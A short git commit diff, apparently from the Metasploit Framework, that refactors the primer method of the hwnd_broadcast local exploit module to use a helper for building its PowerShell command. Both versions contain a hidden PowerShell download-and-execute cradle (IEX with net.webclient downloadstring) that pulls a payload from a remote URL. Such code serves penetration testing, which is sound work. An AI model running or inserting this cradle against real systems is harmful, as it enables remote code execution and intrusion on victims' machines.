Update hwnd_broadcast to use generated powershell command line.
parent
c5007f67ab
commit
9835649858
|
@ -171,7 +171,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
def primer
|
||||
url = get_uri()
|
||||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
|
||||
command = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => download_and_run
|
||||
})
|
||||
make_it(command)
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue